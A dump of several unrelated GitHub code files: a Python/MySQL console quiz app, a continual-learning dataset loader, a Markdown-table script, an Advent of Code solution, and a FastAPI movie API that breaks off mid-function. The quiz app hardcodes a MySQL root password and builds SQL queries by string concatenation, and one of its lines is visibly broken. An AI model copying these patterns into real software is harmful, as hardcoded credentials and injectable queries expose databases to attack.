\r\n while x<=s: \r\n gstr[j][5+(i*3)]=\"█\" \r\n j-=1 \r\n x+=10 \r\n i+=1 \r\n \r\n for line in gstr: \r\n print(\"\".join(line)) \r\n \r\n print(75*\"-\") \r\n print(\"Result Summary for: \",subject_records[int(scode)]) \r\n print(75*\"-\") \r\n print(\" # Name\".ljust(53)[:53],\"No. of Quiz Score\") \r\n print(75*\"-\") \r\n sumscore=0 \r\n summax=0 \r\n squiz=0 \r\n i=1 \r\n for r in people: \r\n print(str(i).rjust(2)[:2],r[0].ljust(56)[:56],str(r[3]).ljust(6)[:6],str(round(r[1]/r[2]*100,2)).rjust(6),\"%\") \r\n sumscore+=r[1] \r\n summax+=r[2] \r\n squiz+=r[3] \r\n i+=1 \r\n \r\n print(75*\"-\") \r\n print(\"Overall Summary\".ljust(59)[:59],str(squiz).ljust(6)[:6],str(round(sumscore/summax*100,2)).rjust(6),\"%\") \r\n print(75*\"-\") \r\n print() \r\n input(\"Press enter to continue...\") \r\n \r\n else: \r\n print(\"Invalid Option Entered\") \r\n \r\n#admin menu option to set number of questions \r\ndef qno(): \r\n acursor.execute(\"select noofques from config\") \r\n current=acursor.fetchall()[0][0] \r\n print(\"Current number of questions are:\",current) \r\n while True: \r\n print() \r\n new=int(input(\"Enter new number of questions (between 1 and 20): \")) \r\n if new in range(1,21): \r\n acursor.execute(\"update config set noofques=\"+str(new)) \r\n adb.commit() \r\n print(\"Number of questions updated.\") \r\n input(\"Press enter to continue...\") \r\n print() \r\n return \r\n else: \r\n print(\"Invalid value entered\") \r\n \r\n \r\n \r\n \r\n#admin menu to add question, subjects, set no of questions in the quiz and manage admin rights \r\ndef adminmenu(User_code): \r\n while True: \r\n print(75*\"-\") \r\n print(\"ADMIN MENU\") \r\n print() \r\n print(\"1: Add new subject\") \r\n print(\"2: Add new question\") \r\n print(\"3: Make admin\") \r\n print(\"4: Remove admin\") \r\n print(\"5: Set number of questions\") \r\n print(\"6: Check user result\") \r\n print(\"7: Check subject result\") \r\n print(\"8: Check subject graph\") \r\n print(\"0: Exit\") \r\n admenuopt=str(input(\"Enter your choice:\")).strip() \r\n print() \r\n \r\n if admenuopt==\"1\": \r\n addsub() \r\n elif admenuopt==\"2\": \r\n addq() \r\n elif admenuopt==\"3\": \r\n makead(User_code) \r\n elif admenuopt==\"4\": \r\n removead(User_code) \r\n elif admenuopt==\"5\": \r\n qno() \r\n elif admenuopt==\"6\": \r\n checkuserresult(User_code) \r\n elif admenuopt==\"7\": \r\n checksubjectresult() \r\n elif admenuopt==\"8\": \r\n checksubjectgraph() \r\n elif admenuopt==\"0\": \r\n return \r\n else: \r\n print(\"Invalid Option Entered\") \r\n \r\n \r\n \r\n#menu for subject selection when taking quiz \r\ndef menu1(User_code,User_name): \r\n print(75*\"-\") \r\n \r\n for x in subject_records: \r\n print(x,\": \",subject_records[x]) \r\n \r\n print(\"0 : Exit\") \r\n print() \r\n \r\n scode=str(input(\"Enter your choice of Subject:\")).strip() \r\n \r\n if scode==\"0\": \r\n print() \r\n \r\n return False \r\n elif scode in subject_options: \r\n print(\"You have selected: \",subject_records[int(scode)]) \r\n print() \r\n print() \r\n quiz(scode,User_code,User_name) \r\n else: \r\n print(\"Invalid Option Entered\") \r\n \r\n#function to take quiz of selected subject \r\ndef quiz(scode,User_code,User_name): \r\n qdb=mysql.connector.connect(host=\"localhost\",user=\"root\",passwd=\"shreshth\", database=\"quiz_project\") \r\n qcursor=qdb.cursor(buffered=True) \r\n qcursor.execute(\"select * from config\") \r\n noofques=[item[0] for item in qcursor.fetchall()][0] \r\n \r\n qcursor.execute(\"select * from quiz_bank where scode=\"+scode) \r\n \r\n if qcursor.rowcount==0: \r\n print(\"Question bank for this subject is empty\") \r\n return \r\n elif qcursor.rowcount=noofques*0.4: \r\n print(\"Congratulations! You got\", marks,\"out of\", noofques) \r\n else: \r\n print(\"You only got\", marks,\"out of\", noofques) \r\n \r\n \r\n now = datetime.now() \r\n date_time = now.strftime(\"%Y%m%d%H%M%S\") \r\n \r\n \r\n qcursor.execute(\"insert into results values (\"+str(User_code)+\",\"+scode+\",\"+str(marks)+\",\"+str(noofques)+\",\"+date_time+\")\") \r\n qdb.commit() \r\n qcursor.close() \r\n qdb.close() \r\n input(\"Press enter to continue...\") \r\n \r\n \r\n \r\n#function to display past results of user by subject \r\ndef result(User_code,User_name): \r\n rdb=mysql.connector.connect(host=\"localhost\",user=\"root\",passwd=\"shreshth\", database=\"quiz_project\") \r\n rcursor=rdb.cursor() \r\n query=\"select name, score, max, date from results, subjects where ucode=\"+str(User_code)+\" and subjects.scode=results.scode order by name, date\" \r\n rcursor.execute(query) \r\n recs=rcursor.fetchall() \r\n \r\n print(75*\"-\") \r\n if len(recs)==0: \r\n print(str(User_name)+\" has not attempted any quizzes.\") \r\n else: \r\n sub=\"\" \r\n print(\"Following are the scores of: \"+User_name) \r\n oscore=0 \r\n omax=0 \r\n oquiz=0 \r\n for r in recs: \r\n subject=r[0] \r\n if subject!=sub: \r\n if sub!='': \r\n print(\"Summary of\",sub,\": Quizzes attempted:\",squiz,\" Subject result:\",round(sumscore/summax*100,2),\"%\") \r\n print() \r\n print(\"Subject: \"+subject) \r\n print() \r\n sumscore=0 \r\n summax=0 \r\n squiz=0 \r\n sub=subject \r\n \r\n score=r[1] \r\n maximum=r[2] \r\n dt=r[3] \r\n sumscore+=score \r\n summax+=maximum \r\n squiz+=1 \r\n oscore+=score \r\n omax+=maximum \r\n oquiz+=1 \r\n print(\"Result on\",dt.strftime(\"%c\"),\":\",score,\"out of\",maximum,\" :\",round(score/maximum*100,2),\"%\") \r\n \r\n print(\"Summary of\",subject,\": Quizzes attempted:\",squiz,\" Subject result:\",round(sumscore/summax*100,2),\"%\") \r\n \r\n print() \r\n print(\"Overall Summary: Quizzes attempted:\",oquiz,\" Overall result:\",round(oscore/omax*100,2),\"%\") \r\n print() \r\n input(\"Press enter to continue...\") \r\n \r\n rcursor.close() \r\n rdb.close() \r\n \r\n \r\n \r\n#main program \r\nmydb=mysql.connector.connect(host=\"localhost\",user=\"root\",passwd=\"shreshth\", database=\"quiz_project\") \r\nmycursor=mydb.cursor() \r\nmycursor.execute(\"select * from subjects\") \r\nrecs=mycursor.fetchall() \r\nmycursor.close() \r\nmydb.close() \r\n \r\nsubject_records= {} \r\nfor r in recs: \r\n subject_records[r[0]]=r[1] \r\n subject_options.append(str(r[0])) \r\n \r\nsubject_options.append(str(0)) \r\n \r\nadb=mysql.connector.connect(host=\"localhost\",user=\"root\",passwd=\"shreshth\", database=\"quiz_project\") \r\nacursor=adb.cursor(buffered=True) \r\n \r\nwhile True: \r\n print() \r\n print() \r\n print(\" ______ ____ ___ ______\") \r\n print(\"\\ / | | / / \\ |\\ /| | \") \r\n print(\" \\ / | | / / \\ | \\ / | | \") \r\n print(\" \\ /\\ / |------ | | | | | \\/ | |------\") \r\n print(\" \\ / \\ / | | \\ \\ / | | | \") \r\n print(\" \\/ \\/ |______ |______ \\_____ \\___/ | | |______\") \r\n print() \r\n loginmenu() \r\n \r\n","repo_name":"Blackbird-3/quiz","sub_path":"quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":27938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32216707637","text":"import os\nimport numpy as np\nfrom torch.utils import data\nimport torchvision.transforms as transforms\nfrom torchvision.datasets import MNIST as TorchVisionMNIST\nfrom torchvision.datasets import CIFAR100 as TorchVisionCIFAR100\nfrom torchvision.datasets import SVHN as TorchVisionSVHN\n\nfrom . import base_dataset as basedat\nfrom . import memory_dataset as memd\nfrom .dataset_config import dataset_config\n\n\ndef get_loaders(datasets, num_tasks, nc_first_task, batch_size, num_workers, pin_memory, validation=.1):\n \"\"\"Apply transformations to Datasets and create the DataLoaders for each task\"\"\"\n\n trn_load, val_load, tst_load = [], [], []\n taskcla = []\n dataset_offset = 0\n for idx_dataset, cur_dataset in enumerate(datasets, 0):\n # get configuration for current dataset\n dc = dataset_config[cur_dataset]\n\n # transformations\n trn_transform, tst_transform = get_transforms(resize=dc['resize'],\n pad=dc['pad'],\n crop=dc['crop'],\n flip=dc['flip'],\n normalize=dc['normalize'],\n extend_channel=dc['extend_channel'])\n\n # datasets\n trn_dset, val_dset, tst_dset, curtaskcla = get_datasets(cur_dataset, dc['path'], num_tasks, nc_first_task,\n validation=validation,\n trn_transform=trn_transform,\n tst_transform=tst_transform,\n class_order=dc['class_order'])\n\n # apply offsets in case of multiple datasets\n if idx_dataset > 0:\n for tt in range(num_tasks):\n trn_dset[tt].labels = [elem + dataset_offset for elem in trn_dset[tt].labels]\n val_dset[tt].labels = [elem + dataset_offset for elem in val_dset[tt].labels]\n tst_dset[tt].labels = [elem + dataset_offset for elem in tst_dset[tt].labels]\n dataset_offset = dataset_offset + sum([tc[1] for tc in curtaskcla])\n\n # reassign class idx for multiple dataset case\n curtaskcla = [(tc[0] + idx_dataset * num_tasks, tc[1]) for tc in curtaskcla]\n\n # extend final taskcla list\n taskcla.extend(curtaskcla)\n\n # loaders\n for tt in range(num_tasks):\n trn_load.append(data.DataLoader(trn_dset[tt], batch_size=batch_size, shuffle=True, num_workers=num_workers,\n pin_memory=pin_memory))\n val_load.append(data.DataLoader(val_dset[tt], batch_size=batch_size, shuffle=False, num_workers=num_workers,\n pin_memory=pin_memory))\n tst_load.append(data.DataLoader(tst_dset[tt], batch_size=batch_size, shuffle=False, num_workers=num_workers,\n pin_memory=pin_memory))\n return trn_load, val_load, tst_load, taskcla\n\n\nfrom .dataset import TSNDataSet\nimport torchvision\nfrom .transforms import *\nimport torch\n\n\ndef get_loaders_baby(dataset, num_tasks, nc_first_task, batch_size, num_workers, pin_memory, validation=.1, split=0, num_classes=20):\n \"\"\"Apply transformations to Datasets and create the DataLoaders for each task\"\"\"\n\n trn_load, val_load, tst_load = [], [], []\n taskcla = []\n dataset_offset = 0\n\n\n trn_dset, val_dset, tst_dset, curtaskcla = get_datasets(dataset, None, num_tasks, nc_first_task,\n validation=validation,\n trn_transform=None,\n tst_transform=None,\n class_order=None, split=split, num_classes=num_classes)\n\n\n # extend final taskcla list\n taskcla.extend(curtaskcla)\n\n # loaders\n for tt in range(num_tasks):\n trn_load.append(data.DataLoader(trn_dset[tt], batch_size=batch_size, shuffle=True, num_workers=num_workers,\n pin_memory=pin_memory))\n val_load.append(data.DataLoader(val_dset[tt], batch_size=batch_size, shuffle=False, num_workers=num_workers,\n pin_memory=pin_memory))\n tst_load.append(data.DataLoader(tst_dset[tt], batch_size=batch_size, shuffle=False, num_workers=num_workers,\n pin_memory=pin_memory))\n return trn_load, val_load, tst_load, taskcla\n\n\ndef get_datasets(dataset, path, num_tasks, nc_first_task, validation, trn_transform, tst_transform, class_order=None, split=0, num_classes=20):\n \"\"\"Extract datasets and create Dataset class\"\"\"\n\n trn_dset, val_dset, tst_dset = [], [], []\n\n if 'mnist' in dataset:\n tvmnist_trn = TorchVisionMNIST(path, train=True, download=True)\n tvmnist_tst = TorchVisionMNIST(path, train=False, download=True)\n trn_data = {'x': tvmnist_trn.data.numpy(), 'y': tvmnist_trn.targets.tolist()}\n tst_data = {'x': tvmnist_tst.data.numpy(), 'y': tvmnist_tst.targets.tolist()}\n # compute splits\n all_data, taskcla, class_indices = memd.get_data(trn_data, tst_data, validation=validation,\n num_tasks=num_tasks, nc_first_task=nc_first_task,\n shuffle_classes=class_order is None, class_order=class_order)\n # set dataset type\n Dataset = memd.MemoryDataset\n\n elif 'BabyAction' in dataset:\n modality = 'RGB'\n arch = 'BNInception'\n\n print('Loading split %d'%split)\n\n num_segments = 5\n\n if modality == 'RGB':\n data_length = 1\n input_mean = [0.485, 0.456, 0.406]\n input_std = [0.229, 0.224, 0.225]\n else:\n input_std = [0.229, 0.224, 0.225]\n input_mean = [0.5]\n input_std = [np.mean(input_std)]\n data_length = 5\n\n trn_transform = torchvision.transforms.Compose([\n GroupScale((256, 256)),\n GroupRandomHorizontalFlip(),\n GroupRandomCrop(224),\n Stack(roll=arch == 'BNInception'),\n ToTorchFormatTensor(div=arch != 'BNInception'),\n GroupNormalize(input_mean, input_std)\n ])\n\n val_transform = torchvision.transforms.Compose([\n # GroupScale((256, 256)),\n # GroupScale(224),\n GroupScale((224, 224)),\n Stack(roll=arch == 'BNInception'),\n ToTorchFormatTensor(div=arch != 'BNInception'),\n GroupNormalize(input_mean, input_std)\n ])\n\n tst_transform = torchvision.transforms.Compose([\n GroupScale((224, 224)),\n # GroupCenterCrop((224,224)),\n # GroupRandomHorizontalFlip(),\n # GroupRandomCrop(224),\n Stack(roll=arch == 'BNInception'),\n ToTorchFormatTensor(div=arch != 'BNInception'),\n GroupNormalize(input_mean, input_std)\n ])\n\n import pandas as pd\n \n\n df_train = pd.read_csv(f\"../../BabyAction/train_split_withgesture.csv\")\n if num_classes == 20:\n df_train['label'] = df_train['label'].astype(int) - 1\n elif num_classes == 12:\n df_train = df_train[df_train['label'] != 1]\n df_train = df_train[df_train['label'] <= 13]\n df_train['label'] = df_train['label'].astype(int) - 2\n else:\n raise NotImplementedError\n\n\n df_test = pd.read_csv(f\"../../BabyAction/test_split_withgesture.csv\")\n if num_classes == 20:\n df_test['label'] = df_test['label'].astype(int) - 1\n elif num_classes == 12:\n df_test = df_test[df_test['label'] != 1]\n df_test = df_test[df_test['label'] <= 13]\n df_test['label'] = df_test['label'].astype(int) - 2\n\n else:\n raise NotImplementedError\n\n\n\n trn_data = {}\n\n trn_data['x'] = df_train['video']\n trn_data['y'] = df_train['label']\n\n tst_data = {}\n tst_data['x'] = df_test['video']\n tst_data['y'] = df_test['label']\n\n all_data, taskcla, class_indices = memd.get_data(trn_data, trn_data, tst_data, validation=validation,\n num_tasks=num_tasks, nc_first_task=None,\n shuffle_classes=True, class_order=None)\n\n\n elif 'cifar100' in dataset:\n tvcifar_trn = TorchVisionCIFAR100(path, train=True, download=True)\n tvcifar_tst = TorchVisionCIFAR100(path, train=False, download=True)\n trn_data = {'x': tvcifar_trn.data, 'y': tvcifar_trn.targets}\n tst_data = {'x': tvcifar_tst.data, 'y': tvcifar_tst.targets}\n # compute splits\n all_data, taskcla, class_indices = memd.get_data(trn_data, tst_data, validation=validation,\n num_tasks=num_tasks, nc_first_task=nc_first_task,\n shuffle_classes=class_order is None, class_order=class_order)\n # set dataset type\n Dataset = memd.MemoryDataset\n\n elif dataset == 'svhn':\n tvsvhn_trn = TorchVisionSVHN(path, split='train', download=True)\n tvsvhn_tst = TorchVisionSVHN(path, split='test', download=True)\n trn_data = {'x': tvsvhn_trn.data.transpose(0, 2, 3, 1), 'y': tvsvhn_trn.labels}\n tst_data = {'x': tvsvhn_tst.data.transpose(0, 2, 3, 1), 'y': tvsvhn_tst.labels}\n # Notice that SVHN in Torchvision has an extra training set in case needed\n # tvsvhn_xtr = TorchVisionSVHN(path, split='extra', download=True)\n # xtr_data = {'x': tvsvhn_xtr.data.transpose(0, 2, 3, 1), 'y': tvsvhn_xtr.labels}\n\n # compute splits\n all_data, taskcla, class_indices = memd.get_data(trn_data, tst_data, validation=validation,\n num_tasks=num_tasks, nc_first_task=nc_first_task,\n shuffle_classes=class_order is None, class_order=class_order)\n # set dataset type\n Dataset = memd.MemoryDataset\n\n elif 'imagenet_32' in dataset:\n import pickle\n # load data\n x_trn, y_trn = [], []\n for i in range(1, 11):\n with open(os.path.join(path, 'train_data_batch_{}'.format(i)), 'rb') as f:\n d = pickle.load(f)\n x_trn.append(d['data'])\n y_trn.append(np.array(d['labels']) - 1) # labels from 0 to 999\n with open(os.path.join(path, 'val_data'), 'rb') as f:\n d = pickle.load(f)\n x_trn.append(d['data'])\n y_tst = np.array(d['labels']) - 1 # labels from 0 to 999\n # reshape data\n for i, d in enumerate(x_trn, 0):\n x_trn[i] = d.reshape(d.shape[0], 3, 32, 32).transpose(0, 2, 3, 1)\n x_tst = x_trn[-1]\n x_trn = np.vstack(x_trn[:-1])\n y_trn = np.concatenate(y_trn)\n trn_data = {'x': x_trn, 'y': y_trn}\n tst_data = {'x': x_tst, 'y': y_tst}\n # compute splits\n all_data, taskcla, class_indices = memd.get_data(trn_data, tst_data, validation=validation,\n num_tasks=num_tasks, nc_first_task=nc_first_task,\n shuffle_classes=class_order is None, class_order=class_order)\n # set dataset type\n Dataset = memd.MemoryDataset\n\n else:\n # read data paths and compute splits -- path needs to have a train.txt and a test.txt with image-label pairs\n all_data, taskcla, class_indices = basedat.get_data(path, num_tasks=num_tasks, nc_first_task=nc_first_task,\n validation=validation, shuffle_classes=class_order is None,\n class_order=class_order)\n # set dataset type\n Dataset = basedat.BaseDataset\n\n\n if dataset != 'BabyAction':\n # get datasets, apply correct label offsets for each task\n offset = 0\n for task in range(num_tasks):\n all_data[task]['trn']['y'] = [label + offset for label in all_data[task]['trn']['y']]\n all_data[task]['val']['y'] = [label + offset for label in all_data[task]['val']['y']]\n all_data[task]['tst']['y'] = [label + offset for label in all_data[task]['tst']['y']]\n trn_dset.append(Dataset(all_data[task]['trn'], trn_transform, class_indices))\n val_dset.append(Dataset(all_data[task]['val'], tst_transform, class_indices))\n tst_dset.append(Dataset(all_data[task]['tst'], tst_transform, class_indices))\n offset += taskcla[task][1]\n else:\n offset = 0\n for task in range(num_tasks):\n all_data[task]['trn']['y'] = [label + offset for label in all_data[task]['trn']['y']]\n all_data[task]['tst']['y'] = [label + offset for label in all_data[task]['tst']['y']]\n\n trn_dset.append(TSNDataSet(all_data[task]['trn'], num_segments=num_segments,\n new_length=data_length,\n modality=modality,\n image_tmpl=\"{}_{:05d}.jpg\" if modality in [\"RGB\", \"RGBDiff\",\n \"depth\"] else \"{}_{:05d}.jpg\",\n transform=trn_transform, class_indices=class_indices))\n\n\n val_dset.append(TSNDataSet(all_data[task]['trn'], num_segments=num_segments,\n new_length=data_length,\n modality=modality,\n image_tmpl=\"{}_{:05d}.jpg\" if modality in [\"RGB\", \"RGBDiff\",\n \"depth\"] else \"{}_{:05d}.jpg\",\n random_shift=False,\n transform=val_transform, class_indices=class_indices))\n\n\n tst_dset.append(TSNDataSet(all_data[task]['tst'], num_segments=num_segments,\n new_length=data_length,\n modality=modality,\n test_mode=True,\n image_tmpl=\"{}_{:05d}.jpg\" if modality in [\"RGB\", \"RGBDiff\",\n \"depth\"] else \"{}_{:05d}.jpg\",\n transform=tst_transform, class_indices=class_indices))\n\n\n offset += taskcla[task][1]\n\n\n return trn_dset, val_dset, tst_dset, taskcla\n\n\ndef get_transforms(resize, pad, crop, flip, normalize, extend_channel):\n \"\"\"Unpack transformations and apply to train or test splits\"\"\"\n\n trn_transform_list = []\n tst_transform_list = []\n\n # resize\n if resize is not None:\n trn_transform_list.append(transforms.Resize(resize))\n tst_transform_list.append(transforms.Resize(resize))\n\n # padding\n if pad is not None:\n trn_transform_list.append(transforms.Pad(pad))\n tst_transform_list.append(transforms.Pad(pad))\n\n # crop\n if crop is not None:\n trn_transform_list.append(transforms.RandomResizedCrop(crop))\n tst_transform_list.append(transforms.CenterCrop(crop))\n\n # flips\n if flip:\n trn_transform_list.append(transforms.RandomHorizontalFlip())\n\n # to tensor\n trn_transform_list.append(transforms.ToTensor())\n tst_transform_list.append(transforms.ToTensor())\n\n # normalization\n if normalize is not None:\n trn_transform_list.append(transforms.Normalize(mean=normalize[0], std=normalize[1]))\n tst_transform_list.append(transforms.Normalize(mean=normalize[0], std=normalize[1]))\n\n # gray to rgb\n if extend_channel is not None:\n trn_transform_list.append(transforms.Lambda(lambda x: x.repeat(extend_channel, 1, 1)))\n tst_transform_list.append(transforms.Lambda(lambda x: x.repeat(extend_channel, 1, 1)))\n\n return transforms.Compose(trn_transform_list), \\\n transforms.Compose(tst_transform_list)\n","repo_name":"filby89/incremental-learning-CRI","sub_path":"FACIL/src/datasets/data_loader.py","file_name":"data_loader.py","file_ext":"py","file_size_in_byte":16626,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"11796040699","text":"# sortierte Liste mit 50 Einträgen erstellen\nmy_list = [i for i in range(50)]\nmy_list.sort()\n\n# Anzahl der Spalten in der Tabelle\nnum_columns = 6\n\n# Anzahl der Zeilen in der Tabelle berechnen\nnum_rows = len(my_list) // num_columns\nif len(my_list) % num_columns != 0:\n num_rows += 1\n\n# Markdown-Tabelle erstellen\ntable = \"|\"\nfor i in range(num_columns):\n table += \" Spalte {} |\".format(i+1)\ntable += \"\\n\"\ntable += \"|\"\nfor i in range(num_columns):\n table += \" --- |\"\ntable += \"\\n\"\n\nfor i in range(num_rows):\n table += \"|\"\n for j in range(num_columns):\n index = i + j*num_rows\n if index < len(my_list):\n table += \" {} |\".format(my_list[index])\n else:\n table += \" |\"\n table += \"\\n\"\n\n# Tabelle ausgeben\nprint(table)\n","repo_name":"eismeraldo/Micropython_man_ESP32","sub_path":"sandbox/tabelle_sortiert_nach_col.py","file_name":"tabelle_sortiert_nach_col.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"31976313015","text":"class Elf(object):\n \"\"\"docstring for Elf\"\"\"\n def __init__(self, current_recipe_index, current_recipe_score):\n super(Elf, self).__init__()\n self.current_recipe_index = current_recipe_index\n self.current_recipe_score = current_recipe_score\n\n def new_current_recipe(self, scoreboard):\n self.current_recipe_index += (1 + self.current_recipe_score)\n self.current_recipe_index %= len(scoreboard)\n self.current_recipe_score = scoreboard[self.current_recipe_index]\n\n def __str__(self):\n return 'Index: ' + str(self.current_recipe_index) + ', Score: ' + str(self.current_recipe_score)\n\n\ndef make_recipes(scoreboard, num_recipes_to_go_through):\n elves = [Elf(0, scoreboard[0]), Elf(1, scoreboard[1])]\n\n ten_recipes = ''\n while len(ten_recipes) < 10:\n new_recipe = sum([elf.current_recipe_score for elf in elves])\n if new_recipe // 10:\n scoreboard.append(1)\n if len(scoreboard) > num_recipes_to_go_through:\n ten_recipes += '1'\n scoreboard.append(new_recipe % 10)\n if len(scoreboard) > num_recipes_to_go_through and len(ten_recipes) < 10:\n ten_recipes += str(new_recipe % 10)\n for elf in elves:\n elf.new_current_recipe(scoreboard)\n\n return ten_recipes\n\n\nif __name__ == '__main__':\n initial_scoreboard = [3, 7]\n INPUT = 760221\n ten_recipes = make_recipes(initial_scoreboard, INPUT)\n print(ten_recipes)\n\n # initial_scoreboard = [3, 7]\n # test_input_1 = 9\n # expected_output_1 = '5158916779'\n # actual_output_1 = make_recipes(initial_scoreboard, test_input_1)\n # print('Test # 1:')\n # print('expected_output:', expected_output_1)\n # print('actual_output:', actual_output_1)\n\n # initial_scoreboard = [3, 7]\n # test_input_2 = 5\n # expected_output_2 = '0124515891'\n # actual_output_2 = make_recipes(initial_scoreboard, test_input_2)\n # print('Test # 2:')\n # print('expected_output:', expected_output_2)\n # print('actual_output:', actual_output_2)\n\n # initial_scoreboard = [3, 7]\n # test_input_3 = 18\n # expected_output_3 = '9251071085'\n # actual_output_3 = make_recipes(initial_scoreboard, test_input_3)\n # print('Test # 3:')\n # print('expected_output:', expected_output_3)\n # print('actual_output:', actual_output_3)\n\n # initial_scoreboard = [3, 7]\n # test_input_4 = 2018\n # expected_output_4 = '5941429882'\n # actual_output_4 = make_recipes(initial_scoreboard, test_input_4)\n # print('Test # 4:')\n # print('expected_output:', expected_output_4)\n # print('actual_output:', actual_output_4)\n","repo_name":"Dillon-Dumesnil/advent-of-code","sub_path":"2018/day-14/part-1.py","file_name":"part-1.py","file_ext":"py","file_size_in_byte":2636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74179148881","text":"import pandas as pd\nfrom fastapi import FastAPI\nimport numpy as np\nimport pickle\n\napp = FastAPI()\n\nmovies = pd.read_csv(\"movies_clean.csv\") # Se carga el dataset moviel_clean.csv a un dataframe.\nmovies['release_date'] = pd.to_datetime(movies['release_date'])\nmovies_ML = pd.read_csv(\"movies_ML.csv\") # Se carga el dataset movies_ML.csv a un dataframe.\n\nwith open('model_similarity.pkl', 'rb') as archivo: \n similarity = pickle.load(archivo) # Se carga el archivo model_similarity.pkl.\n\n# fastapi-env\\Scripts\\activate.bat\n# uvicorn main:app --reload\n# http://127.0.0.1:8000/docs\n\n@app.get(\"/cantidad_filmaciones_mes/{mes}\")\ndef cantidad_filmaciones_mes(mes_es: str):\n '''Se ingresa el mes y la funcion retorna \n la cantidad de peliculas que se estrenaron \n en ese mes historicamente.'''\n \n mes = mes_es.lower()\n \n if mes == \"enero\":\n mes = \"January\"\n if mes == \"febrero\":\n mes = \"February\"\n if mes == \"marzo\":\n mes = \"March\"\n if mes == \"abril\":\n mes = \"April\"\n if mes == \"mayo\":\n mes = \"May\"\n if mes == \"junio\":\n mes = \"June\"\n if mes == \"julio\":\n mes = \"July\"\n if mes == \"agosto\":\n mes = \"August\"\n if mes == \"septiembre\":\n mes = \"September\"\n if mes == \"octubre\":\n mes = \"October\"\n if mes == \"noviembre\":\n mes = \"November\"\n if mes == \"diciembre\":\n mes = \"December\"\n\n peliculas = movies[movies['release_date'].dt.strftime('%B') == mes]\n return {\"mes\": mes_es.lower(), \"cantidad\": len(peliculas)}\n\n@app.get(\"/cantidad_filmaciones_dia/{dia}\")\ndef cantidad_filmaciones_dia(dia_es: str):\n '''Se ingresa el día y la funcion retorna \n la cantidad de peliculas que se estrenaron \n en ese dia historicamente.'''\n \n dia_es = dia_es.lower()\n dia = dia_es\n\n if dia_es == \"miercoles\":\n dia_es = \"miércoles\"\n if dia_es == \"sabado\":\n dia_es = \"sábado\"\n\n if dia == \"lunes\":\n dia = \"Monday\"\n if dia == \"martes\":\n dia = \"Tuesday\"\n if dia == \"miercoles\" or dia == \"miércoles\":\n dia = \"Wednesday\"\n if dia == \"jueves\":\n dia = \"Thursday\"\n if dia == \"viernes\":\n dia = \"Friday\"\n if dia == \"sabado\" or dia == \"sábado\":\n dia = \"Saturday\"\n if dia == \"domingo\":\n dia = \"Sunday\"\n \n peliculas = movies[movies['release_date'].dt.strftime('%A') == dia]\n return {\"mes\": dia_es, \"cantidad\": len(peliculas)}\n\n@app.get(\"/score_titulo/{titulo_de_la_filmacion}\")\ndef score_titulo(titulo_de_la_filmacion: str):\n ''' Se ingresa el título de una filmación \n y la función retorna el título, el año del estreno \n y el score de esta misma.'''\n \n pelicula = movies[['release_year', 'popularity']][movies['title'] == titulo_de_la_filmacion]\n lista_anio = []\n lista_score = []\n lista_resultados = []\n\n for i in range(0, len(pelicula)):\n lista_anio.append(pelicula.values[i][0])\n lista_score.append(pelicula.values[i][1])\n\n\n for i in range(0, len(pelicula)):\n lista_resultados.append({\"titulo\": titulo_de_la_filmacion, \"anio\": int(lista_anio[i]), \"popularidad\": round(lista_score[i], 2)})\n\n return lista_resultados\n\n@app.get(\"/votos_titulo/{titulo_de_la_filmacion}\")\ndef votos_titulo(titulo_de_la_filmacion: str):\n '''Se ingresa el título de una filmación y la función retorna el título, \n la cantidad de votos y el valor promedio de las votaciones de esta misma pelicula \n siempre y cuando la cantidad de votos sea mayor a 2000, de lo contrario devolverá \n un mensaje avisando que no cumple con esta condición.'''\n\n pelicula = movies[['release_year','vote_count', 'vote_average']][movies['title'] == titulo_de_la_filmacion]\n \n lista_resultado = []\n dict_menor_2000 = {}\n for i in range(0, len(pelicula)):\n if pelicula.values[i][1] < 2000:\n dict_menor_2000.update({\"message\": f\"No hay ninguna pelicula de {titulo_de_la_filmacion} donde la cantidad de votos sea mayor a 2000, por ende, no se devuelve ningun valor.\"})\n else:\n lista_resultado.append({\"titulo\": titulo_de_la_filmacion, \n \"año\": int(pelicula.values[i][0]), \n \"voto_total\": int(pelicula.values[i][1]), \n \"voto_promedio\": round(pelicula.values[i][2], 2) })\n\n if len(lista_resultado) > 0:\n return lista_resultado\n else:\n return dict_menor_2000\n\n@app.get(\"/get_actor/{nombre_actor}\") \ndef get_actor(nombre_actor: str):\n '''Se ingresa el nombre de un actor y la función devuelve \n el éxito de este mismo medido a través del retorno, \n la cantidad de peliculas en las que ha participado y \n el promedio de retorno.'''\n\n actores_filtro = [nombre_actor]\n movies_filtrado = movies[movies['cast'].apply(lambda x: any(actor in x for actor in actores_filtro))]\n cantidad_peliculas = int(movies_filtrado.title.value_counts().sum())\n retorno = round(float(movies_filtrado['return'].values.sum()), 2)\n promedio_retorno = round(retorno/cantidad_peliculas, 2)\n\n return {\"actor\": nombre_actor, \"cantidad_filmaciones\": cantidad_peliculas, \"retorno_total\": retorno, \"retorno_promedio\": promedio_retorno}\n\n\n@app.get(\"/get_director/{nombre_director}\") \ndef get_director(nombre_director: str):\n '''Se ingresa el nombre de un director de cine y la función \n retorna el nombre y el retorno total de este mismo, \n así como las peliculas que ha dirigido, con sus respectivas \n fechas de estreno, retornos, presupuestos y ganancias. '''\n \n directores_filtro = [nombre_director]\n movies_filtrado = movies[movies[\"director\"].apply(lambda x: any(director in x for director in directores_filtro))]\n lista_peliculas = [movies_filtrado[\"title\"].values[i] for i in range(0, len(movies_filtrado[\"title\"].values))]\n lista_anio = [np.datetime_as_string(movies_filtrado[\"release_date\"].values[i], unit='D') for i in range(0, len(movies_filtrado[\"release_date\"].values))]\n lista_retorno = [float(movies_filtrado[\"return\"].values[i]) for i in range(0, len(movies_filtrado[\"return\"].values))]\n lista_budget = [int(movies_filtrado[\"budget\"].values[i]) for i in range(0, len(movies_filtrado[\"budget\"].values))]\n lista_ganancia = [int(movies_filtrado[\"revenue\"].values[i]) for i in range(0, len(movies_filtrado[\"revenue\"].values))]\n retorno_total_director = float(round(movies_filtrado[\"return\"].sum(), 2))\n\n return {'director': nombre_director, \n 'retorno_total_director': retorno_total_director, \n 